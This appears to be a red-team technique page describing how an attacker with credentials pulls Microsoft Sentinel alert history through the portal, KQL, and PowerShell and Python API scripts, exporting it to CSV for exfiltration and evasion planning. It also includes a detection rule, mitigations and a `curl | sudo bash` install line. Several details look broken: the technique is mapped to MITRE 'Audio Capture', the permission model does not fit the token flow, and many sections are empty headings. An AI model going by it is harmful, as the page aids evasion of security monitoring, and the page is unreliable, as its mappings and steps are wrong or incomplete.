MCADDF

[COLLECT-SENTINEL-001]: Sentinel Alert Data Collection

1. METADATA HEADER

Attribute Details
Technique ID COLLECT-SENTINEL-001
MITRE ATT&CK v18.1 T1123 - Audio Capture
Tactic Collection
Platforms Entra ID, Microsoft Sentinel, Azure Monitor
Severity High
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Sentinel workspace any version, Azure Monitor Log Analytics
Patched In N/A (Operational Feature)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Microsoft Sentinel is a cloud-native SIEM platform that ingests security alerts, logs, and analytics from Microsoft 365, Azure, Entra ID, and third-party integrations. Sentinel stores triggered alerts in the SecurityAlert table and raw security events in tables like AuditLogs, SigninLogs, DeviceLogonEvents, and others. Red teams with access to Sentinel can extract weeks of alert history, detection logic, and alert evidence to understand which attack techniques triggered detections and which remained unnoticed. Blue teams use this data for incident investigation, threat hunting, and detection effectiveness validation. An attacker gaining access to Sentinel can determine exactly which tactics are detected and refine their operations accordingly, making Sentinel access a high-value target.

Attack Surface: Sentinel workspace portal (portal.azure.com), KQL query editor, alert tables (SecurityAlert, AlertInfo, AlertEvidence), Log Analytics workspace API, data connector configurations.

Business Impact: Complete visibility into security alert configuration, detection evasion guidance, incident investigation data exposure, and loss of threat intelligence. An attacker with Sentinel access can: (1) Read all triggered alerts to identify detected techniques, (2) Query raw logs to understand data collection capabilities, (3) Modify alert rules to disable detections, (4) Extract evidence data from past incidents revealing adversary tradecraft, (5) Identify gaps in logging and monitoring by analyzing missing data.

Technical Context: Sentinel retains alert data in SecurityAlert table with 30-day default retention (configurable up to 12 years). AlertInfo and AlertEvidence tables contain event details and supporting evidence. KQL queries execute with millisecond-to-second response times. No special licensing or tools required beyond valid Entra ID credentials with Sentinel Reader or higher role. All query execution is logged to LAQueryLogs and SentinelAudit tables.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 18.2 Audit logging for SIEM access and query execution must be monitored
DISA STIG IA-2 (SV-89853r1) Authentication for privileged accounts accessing security monitoring systems
CISA SCuBA ID.AM-1 Asset Management – Sentinel workspace inventory and access controls
NIST 800-53 SI-4(3) System Monitoring – Analyze monitoring data for security alerts
GDPR Art. 32 Security of Processing – Confidentiality and integrity of security systems
DORA Art. 23 ICT-related incident handling and notification procedures
NIS2 Art. 21 Cybersecurity Risk Management Measures – Continuous monitoring
ISO 27001 A.12.4.1 Recording user activities and system events in SIEM
ISO 27005 8.3 Risk Assessment – Unauthorized SIEM access scenarios

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# Check if Sentinel is deployed and active
Connect-AzAccount
$workspaceName = "your-sentinel-workspace"
$resourceGroup = "your-resource-group"

$workspace = Get-AzOperationalInsightsWorkspace -ResourceGroupName $resourceGroup -Name $workspaceName
Write-Host "Workspace ID: $($workspace.ResourceId)"
Write-Host "Retention Days: $($workspace.RetentionInDays)"

What to Look For:

Version Note: Command output identical across all Azure regions and Sentinel versions.

Command (Server 2016-2025 - Terraform / Infrastructure-as-Code Discovery):

# Query Azure Resource Graph for all Sentinel workspaces (requires Reader role)
Search-AzGraph -Query "
  resources
  | where type == 'microsoft.operationalinsights/workspaces'
  | where resourceGroup =~ 'your-rg'
  | project name, resourceGroup, location, properties.retentionInDays
"

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Query SecurityAlert Table via Sentinel Portal (Web UI)

Supported Versions: All versions (cloud-native, version-agnostic)

Step 1: Authenticate to Azure Portal and Navigate to Sentinel

Objective: Establish authenticated session to Sentinel workspace analytics interface

Command:

  1. Navigate to https://portal.azure.com
  2. Sign in with Entra ID credentials (email@company.com)
  3. Navigate to Microsoft Sentinel (search in top menu)
  4. Select Sentinel workspace
  5. Click Logs (left sidebar) or Analytics for built-in rules

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Build KQL Query to Extract Alert Data

Objective: Construct Kusto Query Language query to retrieve alert details, timelines, and evidence

Command (Example 1: All High-Severity Alerts for Last 30 Days):

SecurityAlert
| where TimeGenerated > ago(30d)
| where AlertSeverity == "High" or AlertSeverity == "Critical"
| project TimeGenerated, AlertName, AlertType, Description, Entities, Severity = AlertSeverity, Status = AlertStatus
| order by TimeGenerated desc

Command (Example 2: Alerts Involving Credential Access Techniques):

SecurityAlert
| where TimeGenerated > ago(30d)
| where AlertName has_any ("Credential", "Password", "Token", "Authentication", "LSASS", "Mimikatz", "Kerberos")
| project TimeGenerated, AlertName, AlertType, SourceIP, UserId, Description, AlertDetails = todynamic(Entities)
| order by TimeGenerated desc

Command (Example 3: Alerts Triggered by Specific User or IP):

AlertInfo
| join kind=inner AlertEvidence on AlertId
| where TimeGenerated > ago(7d)
| where SourceIP == "203.0.113.45" or InitiatingUser == "admin@company.com"
| project TimeGenerated, AlertId, AlertName, SourceIP, InitiatingUser, EventType, DetectionStatus
| order by TimeGenerated desc

Expected Output:

TimeGenerated           | AlertName                          | AlertType       | Severity | Status
2026-01-09T14:32:15Z   | Suspected credential dumping       | SecurityAlert   | High     | New
2026-01-09T13:22:08Z   | Suspicious PowerShell activity     | SecurityAlert   | Medium   | Resolved
2026-01-08T22:15:33Z   | Brute force attack detected        | SecurityAlert   | Critical | Closed

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Export Alert Results to CSV for Analysis

Objective: Download query results in CSV format for offline analysis or exfiltration

Command:

  1. Execute KQL query in Log Analytics editor
  2. Click Export button (top-right of results pane)
  3. Select Export to CSV or Download as CSV
  4. File downloads as query_yyyy-mm-dd_hhmm.csv to local Downloads folder

Expected Output:

TimeGenerated,AlertName,AlertType,Description,Severity,Status,Entities,SourceIP
2026-01-09T14:32:15Z,Suspected credential dumping,SecurityAlert,"Mimikatz-like process behavior detected",High,New,"[{""Type"":""Account"",""Name"":""CORP\admin""},{""Type"":""Host"",""Name"":""DESKTOP-ABC123""}]","203.0.113.45"
2026-01-09T13:22:08Z,Suspicious PowerShell activity,SecurityAlert,"Obfuscated PowerShell script executed",Medium,Resolved,"[{""Type"":""Process"",""Name"":""powershell.exe""},{""Type"":""Account"",""Name"":""CORP\user1""}]",NULL

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 2: Query via Azure REST API (Programmatic)

Supported Versions: All Sentinel versions (API available globally)

Step 1: Register Entra ID Application for API Access

Objective: Create service principal with read access to Log Analytics workspace

Manual Steps (Azure Portal):

  1. Navigate to Azure PortalEntra IDApp registrations+ New registration
  2. Name: Sentinel-Alert-Collection
  3. Supported Account Types: Accounts in this organizational directory only
  4. Click Register
  5. Copy Application (client) ID and Directory (tenant) ID
  6. Go to Certificates & Secrets+ New client secret
  7. Description: Sentinel API Access, Expires: 6 months
  8. Copy the Value (secret)
  9. Go to API permissions+ Add a permission
  10. Select APIs my organization uses → Search “Azure Log Analytics”
  11. Select Delegated permissions → Check Data.Read
  12. Click Grant admin consent

Expected Output:

OpSec & Evasion:

References & Proofs:

Step 2: Obtain Bearer Token via OAuth 2.0

Objective: Authenticate service principal and obtain JWT token for API calls

Command (PowerShell):

$TenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$ClientId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$ClientSecret = "~B............................"

$uri = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token"
$body = @{
    grant_type    = "client_credentials"
    client_id     = $ClientId
    client_secret = $ClientSecret
    scope         = "https://api.loganalytics.io/.default"
}

$response = Invoke-RestMethod -Method Post -Uri $uri -Body $body -ContentType "application/x-www-form-urlencoded"
$token = $response.access_token
Write-Host "Bearer Token obtained: $($token.Substring(0, 50))..."

Expected Output:

{
  "token_type": "Bearer",
  "expires_in": 3600,
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."
}

What This Means:

OpSec & Evasion:

References & Proofs:

Step 3: Query Sentinel Alerts via Log Analytics REST API

Objective: Call Log Analytics Query API with bearer token to fetch alerts

Command (PowerShell):

$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."
$subscriptionId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$resourceGroup = "your-resource-group"
$workspaceName = "your-sentinel-workspace"

$headers = @{
    "Authorization" = "Bearer $token"
    "Content-Type"  = "application/json"
}

# Get workspace ID
$workspaceUri = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/microsoft.operationalinsights/workspaces/$workspaceName/api/query?api-version=2020-08-01"

# KQL query to execute
$queryBody = @{
    "query" = "SecurityAlert | where TimeGenerated > ago(30d) | where AlertSeverity =~ 'High' or AlertSeverity =~ 'Critical' | top 1000 by TimeGenerated desc"
} | ConvertTo-Json

$response = Invoke-RestMethod -Method Post -Uri $workspaceUri -Headers $headers -Body $queryBody

# Export to CSV
$response.tables[0].rows | ForEach-Object {
    [PSCustomObject]@{
        TimeGenerated = $_[0]
        AlertName = $_[1]
        AlertType = $_[2]
        Severity = $_[3]
    }
} | Export-Csv -Path "C:\temp\sentinel_alerts.csv" -NoTypeInformation

Write-Host "Alerts exported to C:\temp\sentinel_alerts.csv"

Command (Python):

#!/usr/bin/env python3
import requests
import json
import csv

token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."
subscription_id = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
resource_group = "your-resource-group"
workspace_name = "your-sentinel-workspace"

headers = {
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
}

workspace_uri = f"https://management.azure.com/subscriptions/{subscription_id}/resourcegroups/{resource_group}/providers/microsoft.operationalinsights/workspaces/{workspace_name}/api/query?api-version=2020-08-01"

query = """
SecurityAlert
| where TimeGenerated > ago(30d)
| where AlertSeverity =~ 'High' or AlertSeverity =~ 'Critical'
| top 1000 by TimeGenerated desc
| project TimeGenerated, AlertName, AlertType, AlertSeverity, Entities
"""

payload = {"query": query}
response = requests.post(workspace_uri, headers=headers, json=payload)

if response.status_code == 200:
    data = response.json()
    results = data.get("tables", [{}])[0].get("rows", [])
    
    # Save to CSV
    with open("/tmp/sentinel_alerts.csv", "w", newline="") as f:
        writer = csv.writer(f)
        writer.writerow(["TimeGenerated", "AlertName", "AlertType", "Severity", "Entities"])
        writer.writerows(results)
    
    print(f"Alerts exported to /tmp/sentinel_alerts.csv - {len(results)} rows")
else:
    print(f"Error: {response.status_code} - {response.text}")

Expected Output:

{
  "tables": [
    {
      "name": "PrimaryResult",
      "columns": [
        {"name": "TimeGenerated", "type": "datetime"},
        {"name": "AlertName", "type": "string"},
        {"name": "AlertType", "type": "string"},
        {"name": "AlertSeverity", "type": "string"}
      ],
      "rows": [
        ["2026-01-09T14:32:15Z", "Suspected credential dumping", "SecurityAlert", "High"],
        ["2026-01-09T13:22:08Z", "Suspicious PowerShell activity", "SecurityAlert", "Medium"]
      ]
    }
  ]
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


6. TOOLS & COMMANDS REFERENCE

Azure Log Analytics REST API

Version: v1 (stable, production-ready) Minimum Version: API GA since 2020 Supported Platforms: Windows, Linux, macOS (any HTTP client)

Installation:

# No installation required; uses standard HTTP/REST

# Optional: Install Azure CLI for easier authentication
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Optional: Install Azure PowerShell
Install-Module Az.OperationalInsights -Force

Usage:

# Use service principal with bearer token (see METHOD 2)
$headers = @{ "Authorization" = "Bearer $token" }
Invoke-RestMethod -Method Post -Uri $apiUrl -Headers $headers -Body $queryBody

KQL Query Language Documentation

Version: Latest (continuously updated) Platforms: All Cloud (Azure, AWS, GCP support KQL via Kusto)

Common Operators:

Example Query - Extract All Alerts and Entities:

SecurityAlert
| where TimeGenerated > ago(30d)
| project TimeGenerated, AlertName, Entities = todynamic(Entities)
| mvexpand Entities
| project TimeGenerated, AlertName, EntityType = Entities.Type, EntityName = Entities.Name
| top 50000 by TimeGenerated desc

9. MICROSOFT SENTINEL DETECTION

Query 1: Bulk Export of Alert Data

Rule Configuration:

KQL Query:

LAQueryLogs
| where QueryText has_any ("SecurityAlert", "AlertInfo", "AlertEvidence")
| where ResultCount > 5000  // Bulk export indicates suspicious activity
| where UserId !in ("AutomatedHunting", "SOC_Reports_Automation")
| summarize ExportCount = count(), TotalRows = sum(ResultCount) by UserId, tostring(QueryText)
| where ExportCount > 2 // Multiple high-volume exports in short timeframe
| project UserId, ExportCount, TotalRows, QueryText

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalyticsCreateScheduled query rule
  2. General:
    • Name: Sentinel_Bulk_Alert_Export
    • Severity: High
  3. Set rule logic:
    • Paste KQL query
    • Run every: 10 minutes
    • Lookup data: 1 hour
  4. Incident settings:
    • Enable “Create incidents”
    • Group by: UserId
  5. Create rule

10. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation)

Manual Configuration (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Enable Audit Process Creation (Success and Failure)
  4. Open Local Security Policy (secpol.msc) → Advanced Audit Policy
  5. Enable Audit Command Line Process Creation (records full command-line arguments)
  6. Run gpupdate /force and restart

13. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command

# Verify only SOC group has Sentinel access
Get-AzRoleAssignment -RoleDefinitionName "Sentinel Reader" | Where-Object {$_.Scope -like "*sentinel*"} | Select-Object DisplayName, RoleDefinitionName, Scope

Expected Output (If Secure):


14. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    # Disable compromised account immediately
    Disable-AzADUser -ObjectId "compromised.user@company.com"
    # Revoke all active sessions
    Revoke-AzAccessToken
    
  2. Collect Evidence:
    # Export all queries executed by compromised user (last 7 days)
    Search-AzLog -StartTime (Get-Date).AddDays(-7) -EventInitiator "compromised@company.com" | Export-Csv "C:\Incident\queries.csv"
    # Export all alert exports by same user
    Search-UnifiedAuditLog -UserIds "compromised@company.com" -Operations "ExportQueryResults" -StartDate (Get-Date).AddDays(-7) | Export-Csv "C:\Incident\exports.csv"
    
  3. Remediate:
    • Delete any Entra ID app registrations created by compromised user
    • Rotate all client secrets created in past 7 days
    • Review SecurityAlert table for alerts triggered by attacker activity during compromise period

Step Phase Technique Description
1 Initial Access T1078 - Valid Accounts Compromise SOC user account via phishing or credential reuse
2 Privilege Escalation T1547 - Boot or Logon Autostart Execution Escalate to Sentinel Contributor role via compromised account
3 Collection [COLLECT-SENTINEL-001] Extract 30 days of Sentinel alerts and evidence
4 Exfiltration T1020 - Automated Exfiltration Send CSV files to attacker C2 infrastructure
5 Impact T1531 - Account Access Removal Delete alert rules to evade future detection

16. REAL-WORLD EXAMPLES

Example 1: Insider Threat – Disgruntled SOC Analyst

Example 2: Ransomware Gang – Post-Compromise Reconnaissance